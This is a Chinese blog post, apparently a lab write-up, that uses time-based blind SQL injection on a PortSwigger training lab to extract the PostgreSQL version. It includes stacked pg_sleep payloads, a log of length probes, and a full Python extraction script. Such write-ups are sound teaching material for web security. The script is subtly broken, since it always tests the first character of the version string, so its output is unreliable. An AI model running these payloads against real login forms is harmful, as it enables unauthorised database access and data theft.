各位看官老爷天测试的时候发现一个事情,如果笔记仅限于靶场答案,那这样的笔记没什么意义,所以后续的文章我会突破传统的靶场操作,用自己的思路针对靶场的环境进行更深度的漏洞利用。
靶场二 登录注入之无回显时间盲注
靶场链接:https://portswigger.net/web-security/sql-injection/lab-login-bypass
1.靶场很简单,就是登录页面存在注入,只要在用户名后面加上两个减号就可以实现任意账号登录
但是,这是一个注入漏洞啊,怎么可能只实现任意账号登录的危害呢,出数据才是我们的目标,由于没有回显,只能使用时间盲注。
2.使用堆叠睡眠一下
' ;
SELECT
pg_sleep(
5
)
--
3.开启时间盲注,为了简化把它封装成python脚本
3.1获取数据库版本号长度
#先检测长度是否>某个数字,缩小长度范围
len_sqli="' ;
SELECT
CASE
WHEN
LENGTH
(
VERSION
()) > %s
THEN
pg_sleep(
5
)
ELSE
pg_sleep(
0
)
END
--"
为了缩小遍历长度的次数,这里依旧是用减半方法去判断
【' ;
SELECT
CASE
WHEN
LENGTH
(
VERSION
()) >
200
THEN
pg_sleep(
5
)
ELSE
pg_sleep(
0
)
END
--】 没命中...
【
' ; SELECT CASE WHEN LENGTH(VERSION()) > 150 THEN pg_sleep(5) ELSE pg_sleep(0) END --】 没命中...
【'
;
SELECT
CASE
WHEN
LENGTH
(
VERSION
()) >
130
THEN
pg_sleep(
5
)
ELSE
pg_sleep(
0
)
END
--】 成功命中..
【
' ; SELECT CASE WHEN LENGTH(VERSION()) > 140 THEN pg_sleep(5) ELSE pg_sleep(0) END --】 没命中...
【'
;
SELECT
CASE
WHEN
LENGTH
(
VERSION
()) >
135
THEN
pg_sleep(
5
)
ELSE
pg_sleep(
0
)
END
--】 没命中...
【
' ; SELECT CASE WHEN LENGTH(VERSION()) > 132 THEN pg_sleep(5) ELSE pg_sleep(0) END --】 成功命中...
从上可以看出区间是132-135,那么就可以设置一个递减函数length_search实现精确定位了
def
length_search
(high,payload)
:
'''定位字符串长度'''
while
high:
print(
"当前长度:"
,high)
if
get_str_len(high,payload):
return
high
high=high
-1
get_version.py 完整代码
import
requests,time,re
#靶场域名
HOST=
"https://0a36000c0480d6798385960e00490037.web-security-academy.net/"
def
login
(sec,host,data)
:
start=time.time()
headers={
'Content-Length'
:
'94'
,
'Content-Type'
:
'application/x-www-form-urlencoded'
}
sec.post(host+
"login"
,data=data,headers=headers)
if
time.time()-start>
5
:
return
True
else
:
return
False
def
check_version
(number)
:
'''获取版本号'''
username=
"' ; SELECT CASE WHEN ASCII(SUBSTRING(VERSION() FROM 1 FOR 1)) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"
%number
sec=requests.session()
html=sec.get(HOST+
"login"
).text
csrf_token=re.findall(
'"csrf" value="(.*?)">'
,html)[
0
]
data=
f'csrf=
{csrf_token}
&username=
{username}
&password=asdasd'
if
login(sec,HOST,data):
print(
f"【
{username}
】 成功命中..."
)
return
True
else
:
print(
"没命中..."
)
return
False
def
get_str_len
(number,payload)
:
'''获取要注入的内容长度'''
username=payload%number
sec=requests.session()
html=sec.get(HOST+
"login"
).text
csrf_token=re.findall(
'"csrf" value="(.*?)">'
,html)[
0
]
data=
f'csrf=
{csrf_token}
&username=
{username}
&password=asdasd'
if
login(sec,HOST,data):
print(
f"【
{username}
】 成功命中..."
)
return
True
else
:
print(
f"【
{username}
】 没命中..."
)
return
False
def
length_search
(high,payload)
:
'''定位字符串长度'''
while
high:
print(
"当前长度:"
,high)
if
get_str_len(high,payload):
return
high
high=high
-1
sqli_result=
''
#先检测长度是否>某个数字,缩小长度范围
len_sqli=
"' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"
get_str_len(
134
,len_sqli)
#根据上面确定的设置一个10浮动以内的数字开启自动遍历
len_sqli=
"' ; SELECT CASE WHEN LENGTH(VERSION()) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END --"
str_len = length_search(
135
,len_sqli)
print(
"长度检测命中结果:"
,str_len)
for
i
in
range(str_len):
for
j
in
range(
1
,
128
):
print(
"当前:"
,j)
if
check_version(j):
sqli_result+=chr(j)
break
print(
"注出数据库版本号:"
,sqli_result)
Tips:SELECT CASE WHEN中的then和else的数据类型必须一致,否则会报错。本篇完~
原文始发于微信公众号(森柒柒):sql注入从0到入院(P2)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论